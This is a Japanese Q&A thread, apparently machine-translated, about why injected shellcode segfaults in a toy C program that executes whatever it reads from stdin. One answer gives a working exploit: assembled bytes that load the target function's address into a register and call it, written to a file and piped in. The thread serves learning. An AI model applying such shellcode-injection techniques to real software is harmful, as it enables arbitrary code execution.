web-dev-qa-db-ja.com

シェルコードでユーザー定義関数を呼び出すときのセグメンテーション違反エラー

シェルコードで関数「target」を呼び出すと、セグメンテーション違反エラーが発生します。

プログラムのCコードは次のとおりです。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>

#define AMOUNT_OF_STUFF 50

void target(){
    //Magic Happens Here   
}


void function_x(){
    char * stuff = (char *)mmap(NULL, AMOUNT_OF_STUFF, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
    if(stuff == MAP_FAILED){
        exit(0);
    }
    printf("You can type %d bytes:\n", AMOUNT_OF_STUFF);
    fflush(stdout);
    int len = read(STDIN_FILENO, stuff, AMOUNT_OF_STUFF);
    if(len == 0){
        exit(0);
    }
    void (*func)() = (void (*)())stuff;
    func();      
}

int main(){
    function_x();
    return 0;
}

「CALL TARGET_FUNCTION_ADDRESS」命令のオペコードである「0xfffef5e8」を取得し、ファイルに次のように保存しました:echo -e "\ xe8\xf5\xfe\xff"> shellcode

次に、シェルコードを入力としてプログラムに渡しました:

    (gdb) r < shellcode
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    Starting program: /home/rakesh/a.out < shellcode
    You can type 50 bytes:

    Breakpoint 1, 0x08048615 in function_x ()
    (gdb) si
    0xb7fd5000 in ?? ()

    (gdb) x/10w $eip
    0xb7fd5000: 0xfffef5e8  0x0000000a  0x00000000  0x00000000
    0xb7fd5010: 0x00000000  0x00000000  0x00000000  0x00000000
    0xb7fd5020: 0x00000000  0x00000000

    (gdb) si
    0xc2fd4efa in ?? ()

    (gdb) si

    Program received signal SIGSEGV, Segmentation fault.
    0xc2fd4efa in ?? ()
    (gdb) 
    [46]+  Stopped                 gdb ./a.out

EIPが指定されたシェルコードを指していることがわかりますが、それでも期待どおりに機能していません。

シェルコードが機能しない理由を誰かに教えてもらえますか?

1
Rakesh Mane

ジョシュアが言ったように、ターゲット関数のアドレスをレジスタにmov(e)し、そのレジスタを呼び出します。関数アドレスではなく実行されるshellcode(opcodes)が必要なため、それをアセンブルしてそのオペコードを使用します。

あなたが書いたようにfunc()が関数ポインタにtypecasing( "stuff")した後に呼び出されたとき

void (*func)() = (void (*)())stuff;
func();

悪用:

私はあなたのCコードを使用し、ターゲット関数を少し変更しました

void target(){
    //Magic Happens Here
        puts("You won");
        exit(0);
}

次のgccフラグでコンパイルしました:gcc -fno-stack-protector -z execstack vuln.c

64ビットアーキテクチャで実行したため、バイナリはELF 64ビットです。次に、gdbでバイナリを実行し、「ターゲット」関数のアドレスを次のように見つけます。

(gdb) p target
$1 = {<text variable, no debug info>}` **0x4006dd** `<target>

here に移動し、次のx64命令をアセンブルします(x86の場合は、raxの代わりにeaxを使用します)。例:

mov rax ,0x4006dd
call rax

次のシェルコードが表示されます:**\x48\xC7\xC0\xDD\x06\x40\x00\xFF\xD0**

それをファイルに書き込みます

python -c "print '\x48\xC7\xC0\xDD\x06\x40\x00\xFF\xD0'" > exp
root@BOX:~# cat exp| ./a.out

50バイトを入力できます:**You won**

root@BOX:~#`

したがって、ターゲット関数を実行します。

4
Rahul Maini

呼び出しのオペコードをどこで取得したかはわかりませんが、オペコードを使用して、呼び出したい関数のアドレスをレジスターに入れ、そのレジスターを呼び出します。呼び出しの前にeip +1を追跡する必要がない限り、jmp命令を使用することもできます。

プログラムは、ユーザーランド外のメモリにアクセスしようとすることになり、それがsegfaultの原因です。

1
Joshua Gimer